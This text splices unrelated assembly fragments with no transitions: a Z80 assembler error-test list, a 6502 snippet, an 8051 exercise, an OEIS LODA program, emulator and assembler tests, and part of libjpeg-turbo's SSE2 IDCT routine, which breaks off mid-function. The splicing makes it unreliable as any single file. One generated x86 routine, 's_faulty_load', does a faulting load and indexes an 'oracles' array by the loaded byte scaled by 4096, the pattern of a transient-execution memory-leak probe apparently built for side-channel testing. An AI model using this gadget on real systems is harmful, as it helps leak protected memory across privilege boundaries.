(iy), l ; Error sli (iy+127) ; Error sli (iy+127), a ; Error sli (iy+127), b ; Error sli (iy+127), c ; Error sli (iy+127), d ; Error sli (iy+127), e ; Error sli (iy+127), h ; Error sli (iy+127), l ; Error sli (iy-128) ; Error sli (iy-128), a ; Error sli (iy-128), b ; Error sli (iy-128), c ; Error sli (iy-128), d ; Error sli (iy-128), e ; Error sli (iy-128), h ; Error sli (iy-128), l ; Error sli a ; Error sli b ; Error sli c ; Error sli d ; Error sli e ; Error sli h ; Error sli l ; Error sll (hl) ; Error sll (ix) ; Error sll (ix), a ; Error sll (ix), b ; Error sll (ix), c ; Error sll (ix), d ; Error sll (ix), e ; Error sll (ix), h ; Error sll (ix), l ; Error sll (ix+127) ; Error sll (ix+127), a ; Error sll (ix+127), b ; Error sll (ix+127), c ; Error sll (ix+127), d ; Error sll (ix+127), e ; Error sll (ix+127), h ; Error sll (ix+127), l ; Error sll (ix-128) ; Error sll (ix-128), a ; Error sll (ix-128), b ; Error sll (ix-128), c ; Error sll (ix-128), d ; Error sll (ix-128), e ; Error sll (ix-128), h ; Error sll (ix-128), l ; Error sll (iy) ; Error sll (iy), a ; Error sll (iy), b ; Error sll (iy), c ; Error sll (iy), d ; Error sll (iy), e ; Error sll (iy), h ; Error sll (iy), l ; Error sll (iy+127) ; Error sll (iy+127), a ; Error sll (iy+127), b ; Error sll (iy+127), c ; Error sll (iy+127), d ; Error sll (iy+127), e ; Error sll (iy+127), h ; Error sll (iy+127), l ; Error sll (iy-128) ; Error sll (iy-128), a ; Error sll (iy-128), b ; Error sll (iy-128), c ; Error sll (iy-128), d ; Error sll (iy-128), e ; Error sll (iy-128), h ; Error sll (iy-128), l ; Error sll a ; Error sll b ; Error sll c ; Error sll d ; Error sll e ; Error sll h ; Error sll l ; Error slp ; Error sls (hl) ; Error sls (ix) ; Error sls (ix), a ; Error sls (ix), b ; Error sls (ix), c ; Error sls (ix), d ; Error sls (ix), e ; Error sls (ix), h ; Error sls (ix), l ; Error sls (ix+127) ; Error sls (ix+127), a ; Error sls (ix+127), b ; Error sls (ix+127), c ; Error sls (ix+127), d ; Error sls (ix+127), e ; Error sls (ix+127), h ; Error sls (ix+127), l ; Error sls (ix-128) ; Error sls (ix-128), a ; Error sls (ix-128), b ; Error sls (ix-128), c ; Error sls (ix-128), d ; Error sls (ix-128), e ; Error sls (ix-128), h ; Error sls (ix-128), l ; Error sls (iy) ; Error sls (iy), a ; Error sls (iy), b ; Error sls (iy), c ; Error sls (iy), d ; Error sls (iy), e ; Error sls (iy), h ; Error sls (iy), l ; Error sls (iy+127) ; Error sls (iy+127), a ; Error sls (iy+127), b ; Error sls (iy+127), c ; Error sls (iy+127), d ; Error sls (iy+127), e ; Error sls (iy+127), h ; Error sls (iy+127), l ; Error sls (iy-128) ; Error sls (iy-128), a ; Error sls (iy-128), b ; Error sls (iy-128), c ; Error sls (iy-128), d ; Error sls (iy-128), e ; Error sls (iy-128), h ; Error sls (iy-128), l ; Error sls a ; Error sls b ; Error sls c ; Error sls d ; Error sls e ; Error sls h ; Error sls l ; Error sra (hl) ; Error sra (ix) ; Error sra (ix), a ; Error sra (ix), b ; Error sra (ix), c ; Error sra (ix), d ; Error sra (ix), e ; Error sra (ix), h ; Error sra (ix), l ; Error sra (ix+127) ; Error sra (ix+127), a ; Error sra (ix+127), b ; Error sra (ix+127), c ; Error sra (ix+127), d ; Error sra (ix+127), e ; Error sra (ix+127), h ; Error sra (ix+127), l ; Error sra (ix-128) ; Error sra (ix-128), a ; Error sra (ix-128), b ; Error sra (ix-128), c ; Error sra (ix-128), d ; Error sra (ix-128), e ; Error sra (ix-128), h ; Error sra (ix-128), l ; Error sra (iy) ; Error sra (iy), a ; Error sra (iy), b ; Error sra (iy), c ; Error sra (iy), d ; Error sra (iy), e ; Error sra (iy), h ; Error sra (iy), l ; Error sra (iy+127) ; Error sra (iy+127), a ; Error sra (iy+127), b ; Error sra (iy+127), c ; Error sra (iy+127), d ; Error sra (iy+127), e ; Error sra (iy+127), h ; Error sra (iy+127), l ; Error sra (iy-128) ; Error sra (iy-128), a ; Error sra (iy-128), b ; Error sra (iy-128), c ; Error sra (iy-128), d ; Error sra (iy-128), e ; Error sra (iy-128), h ; Error sra (iy-128), l ; Error sra a ; Error sra a' ; Error sra b ; Error sra b' ; Error sra c ; Error sra c' ; Error sra d ; Error sra d' ; Error sra e ; Error sra e' ; Error sra h ; Error sra h' ; Error sra l ; Error sra l' ; Error srl (hl) ; Error srl (ix) ; Error srl (ix), a ; Error srl (ix), b ; Error srl (ix), c ; Error srl (ix), d ; Error srl (ix), e ; Error srl (ix), h ; Error srl (ix), l ; Error srl (ix+127) ; Error srl (ix+127), a ; Error srl (ix+127), b ; Error srl (ix+127), c ; Error srl (ix+127), d ; Error srl (ix+127), e ; Error srl (ix+127), h ; Error srl (ix+127), l ; Error srl (ix-128) ; Error srl (ix-128), a ; Error srl (ix-128), b ; Error srl (ix-128), c ; Error srl (ix-128), d ; Error srl (ix-128), e ; Error srl (ix-128), h ; Error srl (ix-128), l ; Error srl (iy) ; Error srl (iy), a ; Error srl (iy), b ; Error srl (iy), c ; Error srl (iy), d ; Error srl (iy), e ; Error srl (iy), h ; Error srl (iy), l ; Error srl (iy+127) ; Error srl (iy+127), a ; Error srl (iy+127), b ; Error srl (iy+127), c ; Error srl (iy+127), d ; Error srl (iy+127), e ; Error srl (iy+127), h ; Error srl (iy+127), l ; Error srl (iy-128) ; Error srl (iy-128), a ; Error srl (iy-128), b ; Error srl (iy-128), c ; Error srl (iy-128), d ; Error srl (iy-128), e ; Error srl (iy-128), h ; Error srl (iy-128), l ; Error srl a ; Error srl a' ; Error srl b ; Error srl b' ; Error srl c ; Error srl c' ; Error srl d ; Error srl d' ; Error srl e ; Error srl e' ; Error srl h ; Error srl h' ; Error srl l ; Error srl l' ; Error stop ; Error sub (ix) ; Error sub (ix+127) ; Error sub (ix-128) ; Error sub (iy) ; Error sub (iy+127) ; Error sub (iy-128) ; Error sub a', (hl) ; Error sub a', (ix) ; Error sub a', (ix+127) ; Error sub a', (ix-128) ; Error sub a', (iy) ; Error sub a', (iy+127) ; Error sub a', (iy-128) ; Error sub a', -128 ; Error sub a', 127 ; Error sub a', 255 ; Error sub a', a ; Error sub a', b ; Error sub a', c ; Error sub a', d ; Error sub a', e ; Error sub a', h ; Error sub a', l ; Error sub a, (ix) ; Error sub a, (ix+127) ; Error sub a, (ix-128) ; Error sub a, (iy) ; Error sub a, (iy+127) ; Error sub a, (iy-128) ; Error sub a, ixh ; Error sub a, ixl ; Error sub a, iyh ; Error sub a, iyl ; Error sub ixh ; Error sub ixl ; Error sub iyh ; Error sub iyl ; Error sures ; Error swap (hl) ; Error swap a ; Error swap b ; Error swap c ; Error swap d ; Error swap e ; Error swap h ; Error swap l ; Error swapnib ; Error syscall ; Error test (hl) ; Error test (ix) ; Error test (ix+127) ; Error test (ix-128) ; Error test (iy) ; Error test (iy+127) ; Error test (iy-128) ; Error test -128 ; Error test 127 ; Error test 255 ; Error test a ; Error test a, (hl) ; Error test a, (ix) ; Error test a, (ix+127) ; Error test a, (ix-128) ; Error test a, (iy) ; Error test a, (iy+127) ; Error test a, (iy-128) ; Error test a, -128 ; Error test a, 127 ; Error test a, 255 ; Error test a, a ; Error test a, b ; Error test a, c ; Error test a, d ; Error test a, e ; Error test a, h ; Error test a, l ; Error test b ; Error test c ; Error test d ; Error test e ; Error test h ; Error test l ; Error tst (hl) ; Error tst (ix) ; Error tst (ix+127) ; Error tst (ix-128) ; Error tst (iy) ; Error tst (iy+127) ; Error tst (iy-128) ; Error tst -128 ; Error tst 127 ; Error tst 255 ; Error tst a ; Error tst a, (hl) ; Error tst a, (ix) ; Error tst a, (ix+127) ; Error tst a, (ix-128) ; Error tst a, (iy) ; Error tst a, (iy+127) ; Error tst a, (iy-128) ; Error tst a, -128 ; Error tst a, 127 ; Error tst a, 255 ; Error tst a, a ; Error tst a, b ; Error tst a, c ; Error tst a, d ; Error tst a, e ; Error tst a, h ; Error tst a, l ; Error tst b ; Error tst c ; Error tst d ; Error tst e ; Error tst h ; Error tst l ; Error tstio -128 ; Error tstio 127 ; Error tstio 255 ; Error uma ; Error ums ; Error xor (ix) ; Error xor (ix+127) ; Error xor (ix-128) ; Error xor (iy) ; Error xor (iy+127) ; Error xor (iy-128) ; Error xor a', (hl) ; Error xor a', (ix) ; Error xor a', (ix+127) ; Error xor a', (ix-128) ; Error xor a', (iy) ; Error xor a', (iy+127) ; Error xor a', (iy-128) ; Error xor a', -128 ; Error xor a', 127 ; Error xor a', 255 ; Error xor a', a ; Error xor a', b ; Error xor a', c ; Error xor a', d ; Error xor a', e ; Error xor a', h ; Error xor a', l ; Error xor a, (ix) ; Error xor a, (ix+127) ; Error xor a, (ix-128) ; Error xor a, (iy) ; Error xor a, (iy+127) ; Error xor a, (iy-128) ; Error xor a, ixh ; Error xor a, ixl ; Error xor a, iyh ; Error xor a, iyl ; Error xor ixh ; Error xor ixl ; Error xor iyh ; Error xor iyl ; Error
!: lda {c2}-1,y sta {c1}-1,y dey bne !-
ldx {m1}
@100
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r8 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x1d3a6, %rsi lea addresses_D_ht+0xf1ce, %rdi nop nop nop nop inc %rbx mov $86, %rcx rep movsq nop nop nop nop nop inc %rdx lea addresses_UC_ht+0x5c26, %r11 nop nop add %r8, %r8 mov (%r11), %rbx nop nop nop nop xor $10334, %r8 lea addresses_D_ht+0x7216, %rdx nop add $48915, %r8 vmovups (%rdx), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %rcx nop nop nop nop add $63256, %rdx lea addresses_WC_ht+0xf56, %rsi lea addresses_WC_ht+0x6f25, %rdi nop nop nop sub %rbp, %rbp mov $10, %rcx rep movsw nop nop nop nop nop dec %rbp lea addresses_normal_ht+0x8746, %rbx nop add $26885, %rcx mov (%rbx), %si nop and $58268, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r9 push %rbx push %rcx // Store lea addresses_US+0xfa6, %rbx nop sub $15028, %r11 mov $0x5152535455565758, %r13 movq %r13, %xmm3 movups %xmm3, (%rbx) nop nop nop nop nop sub $20854, %r12 // Faulty Load lea addresses_A+0xd026, %rcx nop nop sub %r9, %r9 mov (%rcx), %r11d lea oracles, %r9 and $0xff, %r11 shlq $12, %r11 mov (%r9,%r11,1), %r11 pop %rcx pop %rbx pop %r9 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_US'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': True, 'type': 'addresses_A'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 4, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
;Write an 8051 ASM program to move a block of five data using conditional statements from 50H RAM to External ;ROM memory 4000H to do addition and store the result in 5000H (High Byte) and 5001H(Lower Byte). ORG 0000H MOV R0,#50H MOV R1,#05H MOV DPTR,#4000H MOVE: MOV A,@R0 MOVX @DPTR,A INC R0 INC DPTR DJNZ R1,MOVE MOV R1,#05H MOV DPTR,#4000H MOVX A,@DPTR ADDR: MOV R0,A INC DPTR MOVX A,@DPTR ADDC A,R0 JNC NEXT INC R2 NEXT: DJNZ R1,ADDR MOV A,R0 MOV DPTR,#5001H MOVX @DPTR,A MOV A,R2 MOV DPTR,#5000H MOVX @DPTR,A NOP END; Deeptimaan Banerjee
; A192875: Coefficient of x in the reduction by (x^2 -> x + 1) of the polynomial p(n,x) given in Comments. ; Submitted by Simon Strandgaard ; 0,1,3,11,37,119,391,1257,4087,13195,42757,138271,447615,1448249,4687071,15166963,49082501,158832391,513995543,1663319433,5382623015,17418520571,56367538373,182409150671,590288468367,1910213517529,6181580943951,20004015900707,64734355669957,209484774792695,677906972508007,2193753043793961,7099133978255575,22973280130658539,74343096176003461,240579312871948543,778531010452267551,2519379272385280121,8152882586591036223,26383282262704738003,85378094871803481605,276289318794377599591 mov $1,2 mov $3,-1 lpb $0 sub $0,1 add $1,$3 sub $4,$5 add $4,$2 mov $5,$4 mov $4,$2 mov $2,$3 add $4,$1 add $5,$4 mul $4,4 add $5,1 mov $3,$5 lpe add $1,$3 mov $0,$1 div $0,2
%ifdef CONFIG { "RegData": { "RAX": "0x1" }, "MemoryRegions": { "0x100000000": "4096" } } %endif mov rdx, 0xe0000000 mov rax, 0x0 mov [rdx + 8 * 0], rax mov rax, 201 ; Time syscall cmp rax, 0 setne [rdx + 8 * 0] mov rax, [rdx + 8 * 0] hlt
# trys to emulate function calls without the call/return keywords
# $Id: e_ld_1.asm,v 1.1 2001/03/14 16:57:30 ellard Exp $ #@ tests for "underflow" in ld. ld r3, r2, 0 # OK ld r3, r2, -1 # Not OK
; ; jidctint.asm - accurate integer IDCT (64-bit SSE2) ; ; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB ; Copyright (C) 2009, 2016, 2020, D. R. Commander. ; Copyright (C) 2018, Matthias Räncker. ; ; Based on the x86 SIMD extension for IJG JPEG library ; Copyright (C) 1999-2006, MIYASAKA Masaru. ; For conditions of distribution and use, see copyright notice in jsimdext.inc ; ; This file should be assembled with NASM (Netwide Assembler), ; can *not* be assembled with Microsoft's MASM or any compatible ; assembler (including Borland's Turbo Assembler). ; NASM is available from http://nasm.sourceforge.net/ or ; http://sourceforge.net/project/showfiles.php?group_id=6208 ; ; This file contains a slower but more accurate integer implementation of the ; inverse DCT (Discrete Cosine Transform). The following code is based ; directly on the IJG's original jidctint.c; see the jidctint.c for ; more details. %include "jsimdext.inc" %include "jdct.inc" ; -------------------------------------------------------------------------- %define CONST_BITS 13 %define PASS1_BITS 2 %define DESCALE_P1 (CONST_BITS - PASS1_BITS) %define DESCALE_P2 (CONST_BITS + PASS1_BITS + 3) %if CONST_BITS == 13 F_0_298 equ 2446 ; FIX(0.298631336) F_0_390 equ 3196 ; FIX(0.390180644) F_0_541 equ 4433 ; FIX(0.541196100) F_0_765 equ 6270 ; FIX(0.765366865) F_0_899 equ 7373 ; FIX(0.899976223) F_1_175 equ 9633 ; FIX(1.175875602) F_1_501 equ 12299 ; FIX(1.501321110) F_1_847 equ 15137 ; FIX(1.847759065) F_1_961 equ 16069 ; FIX(1.961570560) F_2_053 equ 16819 ; FIX(2.053119869) F_2_562 equ 20995 ; FIX(2.562915447) F_3_072 equ 25172 ; FIX(3.072711026) %else ; NASM cannot do compile-time arithmetic on floating-point constants. %define DESCALE(x, n) (((x) + (1 << ((n) - 1))) >> (n)) F_0_298 equ DESCALE( 320652955, 30 - CONST_BITS) ; FIX(0.298631336) F_0_390 equ DESCALE( 418953276, 30 - CONST_BITS) ; FIX(0.390180644) F_0_541 equ DESCALE( 581104887, 30 - CONST_BITS) ; FIX(0.541196100) F_0_765 equ DESCALE( 821806413, 30 - CONST_BITS) ; FIX(0.765366865) F_0_899 equ DESCALE( 966342111, 30 - CONST_BITS) ; FIX(0.899976223) F_1_175 equ DESCALE(1262586813, 30 - CONST_BITS) ; FIX(1.175875602) F_1_501 equ DESCALE(1612031267, 30 - CONST_BITS) ; FIX(1.501321110) F_1_847 equ DESCALE(1984016188, 30 - CONST_BITS) ; FIX(1.847759065) F_1_961 equ DESCALE(2106220350, 30 - CONST_BITS) ; FIX(1.961570560) F_2_053 equ DESCALE(2204520673, 30 - CONST_BITS) ; FIX(2.053119869) F_2_562 equ DESCALE(2751909506, 30 - CONST_BITS) ; FIX(2.562915447) F_3_072 equ DESCALE(3299298341, 30 - CONST_BITS) ; FIX(3.072711026) %endif ; -------------------------------------------------------------------------- SECTION SEG_CONST alignz 32 GLOBAL_DATA(jconst_idct_islow_sse2) EXTN(jconst_idct_islow_sse2): PW_F130_F054 times 4 dw (F_0_541 + F_0_765), F_0_541 PW_F054_MF130 times 4 dw F_0_541, (F_0_541 - F_1_847) PW_MF078_F117 times 4 dw (F_1_175 - F_1_961), F_1_175 PW_F117_F078 times 4 dw F_1_175, (F_1_175 - F_0_390) PW_MF060_MF089 times 4 dw (F_0_298 - F_0_899), -F_0_899 PW_MF089_F060 times 4 dw -F_0_899, (F_1_501 - F_0_899) PW_MF050_MF256 times 4 dw (F_2_053 - F_2_562), -F_2_562 PW_MF256_F050 times 4 dw -F_2_562, (F_3_072 - F_2_562) PD_DESCALE_P1 times 4 dd 1 << (DESCALE_P1 - 1) PD_DESCALE_P2 times 4 dd 1 << (DESCALE_P2 - 1) PB_CENTERJSAMP times 16 db CENTERJSAMPLE alignz 32 ; -------------------------------------------------------------------------- SECTION SEG_TEXT BITS 64 ; ; Perform dequantization and inverse DCT on one block of coefficients. ; ; GLOBAL(void) ; jsimd_idct_islow_sse2(void *dct_table, JCOEFPTR coef_block, ; JSAMPARRAY output_buf, JDIMENSION output_col) ; ; r10 = jpeg_component_info *compptr ; r11 = JCOEFPTR coef_block ; r12 = JSAMPARRAY output_buf ; r13d = JDIMENSION output_col %define original_rbp rbp + 0 %define wk(i) rbp - (WK_NUM - (i)) * SIZEOF_XMMWORD ; xmmword wk[WK_NUM] %define WK_NUM 12 align 32 GLOBAL_FUNCTION(jsimd_idct_islow_sse2) EXTN(jsimd_idct_islow_sse2): push rbp mov rax, rsp ; rax = original rbp sub rsp, byte 4 and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits mov [rsp], rax mov rbp, rsp ; rbp = aligned rbp lea rsp, [wk(0)] collect_args 4 ; ---- Pass 1: process columns from input. mov rdx, r10 ; quantptr mov rsi, r11 ; inptr %ifndef NO_ZERO_COLUMN_TEST_ISLOW_SSE2 mov eax, dword [DWBLOCK(1,0,rsi,SIZEOF_JCOEF)] or eax, dword [DWBLOCK(2,0,rsi,SIZEOF_JCOEF)] jnz near .columnDCT movdqa xmm0, XMMWORD [XMMBLOCK(1,0,rsi,SIZEOF_JCOEF)] movdqa xmm1, XMMWORD [XMMBLOCK(2,0,rsi,SIZEOF_JCOEF)] por xmm0, XMMWORD [XMMBLOCK(3,0,rsi,SIZEOF_JCOEF)] por xmm1, XMMWORD [XMMBLOCK(4,0,rsi,SIZEOF_JCOEF)] por xmm0, XMMWORD [XMMBLOCK(5,0,rsi,SIZEOF_JCOEF)] por xmm1, XMMWORD [XMMBLOCK(6,0,rsi,SIZEOF_JCOEF)] por xmm0, XMMWORD [XMMBLOCK(7,0,rsi,SIZEOF_JCOEF)] por xmm1, xmm0 packsswb xmm1, xmm1 packsswb xmm1, xmm1 movd eax, xmm1 test rax, rax jnz short .columnDCT ; -- AC terms all zero movdqa xmm5, XMMWORD [XMMBLOCK(0,0,rsi,SIZEOF_JCOEF)] pmullw xmm5, XMMWORD [XMMBLOCK(0,0,rdx,SIZEOF_ISLOW_MULT_TYPE)] psllw xmm5, PASS1_BITS movdqa xmm4, xmm5 ; xmm5=in0=(00 01 02 03 04 05 06 07) punpcklwd xmm5, xmm5 ; xmm5=(00 00 01 01 02 02 03 03) punpckhwd xmm4, xmm4 ; xmm4=(04 04 05 05 06 06 07 07) pshufd xmm7, xmm5, 0x00 ; xmm7=col0=(00 00 00 00 00 00 00 00) pshufd xmm6, xmm5, 0x55 ; xmm6=col1=(01 01 01 01 01 01 01 01) pshufd xmm1, xmm5, 0xAA ; xmm1=col2=(02 02 02 02 02 02 02 02) pshufd xmm5, xmm5, 0xFF ; xmm5=col3=(03 03 03 03 03 03 03 03) pshufd xmm0, xmm4, 0x00 ; xmm0=col4=(04 04 04 04 04 04 04 04) pshufd xmm3, xmm4, 0x55 ; xmm3=col5=(05 05 05 05 05 05 05 05) pshufd xmm2, xmm4, 0xAA ; xmm2=col6=(06 06 06 06 06 06 06 06) pshufd xmm4, xmm4, 0xFF ; xmm4=col7=(07 07 07 07 07 07 07 07) movdqa XMMWORD [wk(8)], xmm6 ; wk(8)=col1 movdqa XMMWORD [wk(9)], xmm5 ; wk(9)=col3 movdqa XMMWORD [wk(10)], xmm3 ; wk(10)=col5 movdqa XMMWORD [wk(11)], xmm4 ; wk(11)=col7 jmp near .column_end %endif .columnDCT: ; -- Even part movdqa xmm0, XMMWORD [XMMBLOCK(0,0,rsi,SIZEOF_JCOEF)] movdqa xmm1, XMMWORD [XMMBLOCK(2,0,rsi,SIZEOF_JCOEF)] pmullw xmm0, XMMWORD [XMMBLOCK(0,0,rdx,SIZEOF_ISLOW_MULT_TYPE)] pmullw xmm1, XMMWORD [XMMBLOCK(2,0,rdx,SIZEOF_ISLOW_MULT_TYPE)] movdqa xmm2, XMMWORD [XMMBLOCK(4,0,rsi,SIZEOF_JCOEF)] movdqa xmm3, XMMWORD [XMMBLOCK(6,0,rsi,SIZEOF_JCOEF)] pmullw xmm2, XMMWORD [XMMBLOCK(4,0,rdx,SIZEOF_ISLOW_MULT_TYPE)] pmullw xmm3, XMMWORD [XMMBLOCK(6,0,rdx,SIZEOF_ISLOW_MULT_TYPE)] ; (Original) ; z1 = (z2 + z3) * 0.541196100; ; tmp2 = z1 + z3 * -1.847759065; ; tmp3 = z1 + z2 * 0.765366865; ; ; (This implementation) ; tmp2 = z2 * 0.541196100 + z3 * (0.541196100 - 1.847759065); ; tmp3 = z2 * (0.541196100 + 0.765366865) + z3 * 0.541196100; movdqa xmm4, xmm1 ; xmm1=in2=z2 movdqa xmm5, xmm1 punpcklwd xmm4, xmm3 ; xmm3=in6=z3 punpckhwd xmm5, xmm3 movdqa xmm1, xmm4 movdqa xmm3, xmm5 pmaddwd xmm4, [rel PW_F130_F054] ; xmm4=tmp3L pmaddwd xmm5, [rel PW_F130_F054] ; xmm5=tmp3H pmaddwd xmm1, [rel PW_F054_MF130] ; xmm1=tmp2L pmaddwd xmm3, [rel PW_F054_MF130] ; xmm3=tmp2H movdqa xmm6, xmm0 paddw xmm0, xmm2 ; xmm0=in0+in4 psubw xmm6, xmm2 ; xmm6=in0-in4 pxor xmm7, xmm7 pxor xmm2, xmm2 punpcklwd xmm7, xmm0 ; xmm7=tmp0L punpckhwd xmm2, xmm0 ; xmm2=tmp0H psrad xmm7, (16-CONST_BITS) ; psrad xmm7,16 & pslld xmm7,CONST_BITS psrad xmm2, (16-CONST_BITS) ; psrad xmm2,16 & pslld xmm2,CONST_BITS movdqa xmm0, xmm7 paddd xmm7, xmm4 ; xmm7=tmp10L psubd xmm0, xmm4 ; xmm0=tmp13L movdqa xmm4, xmm2 paddd xmm2, xmm5 ; xmm2=tmp10H psubd xmm4, xmm5 ; xmm4=tmp13H movdqa XMMWORD [wk(0)], xmm7 ; wk(0)=tmp10L movdqa XMMWORD [wk(1)], xmm2 ; wk(1)=tmp10H movdqa XMMWORD [wk(2)], xmm0 ; wk(2)=tmp13L movdqa XMMWORD [wk(3)], xmm4 ; wk(3)=tmp13H pxor xmm5, xmm5 pxor xmm7, xmm7 punpcklwd xmm5, xmm6 ; xmm5=tmp1L punpckhwd xmm7, xmm6 ; xmm7=tmp1H psrad xmm5, (16-CONST_BITS) ; psrad xmm5,16 & pslld xmm5,CONST_BITS psrad xmm7, (16-CONST_BITS) ; psrad xmm7,16 & pslld xmm7,CONST_BITS movdqa xmm2, xmm5 paddd xmm5, xmm1 ; xmm5=tmp11L psubd xmm2, xmm1 ; xmm2=tmp12L movdqa xmm0, xmm7 paddd xmm7, xmm3 ; xmm7=tmp11H psubd xmm0, xmm3 ; xmm0=tmp12H movdqa XMMWORD [wk(4)], xmm5 ; wk(4)=tmp11L movdqa XMMWORD [wk(5)], xmm7 ; wk(5)=tmp11H movdqa XMMWORD [wk(6)], xmm2 ; wk(6)=tmp12L movdqa XMMWORD [wk(7)], xmm0 ; wk(7)=tmp12H ; -- Odd part movdqa xmm4, XMMWORD [XMMBLOCK(1,0,rsi,SIZEOF_JCOEF)] movdqa xmm6, XMMWORD [XMMBLOCK(3,0,rsi,SIZEOF_JCOEF)] pmullw xmm4, XMMWORD [XMMBLOCK(1,0,rdx,SIZEOF_ISLOW_MULT_TYPE)] pmullw xmm6, XMMWORD [XMMBLOCK(3,0,rdx,SIZEOF_ISLOW_MULT_TYPE)] movdqa xmm1, XMMWORD [XMMBLOCK(5,0,rsi,SIZEOF_JCOEF)] movdqa xmm3, XMMWORD [XMMBLOCK(7,0,rsi,SIZEOF_JCOEF)] pmullw xmm1, XMMWORD [XMMBLOCK(5,0,rdx,SIZEOF_ISLOW_MULT_TYPE)] pmullw xmm3, XMMWORD [XMMBLOCK(7,0,rdx,SIZEOF_ISLOW_MULT_TYPE)] movdqa xmm5, xmm6 movdqa xmm7, xmm4 paddw xmm5, xmm3 ; xmm5=z3 paddw xmm7, xmm1 ; xmm7=z4 ; 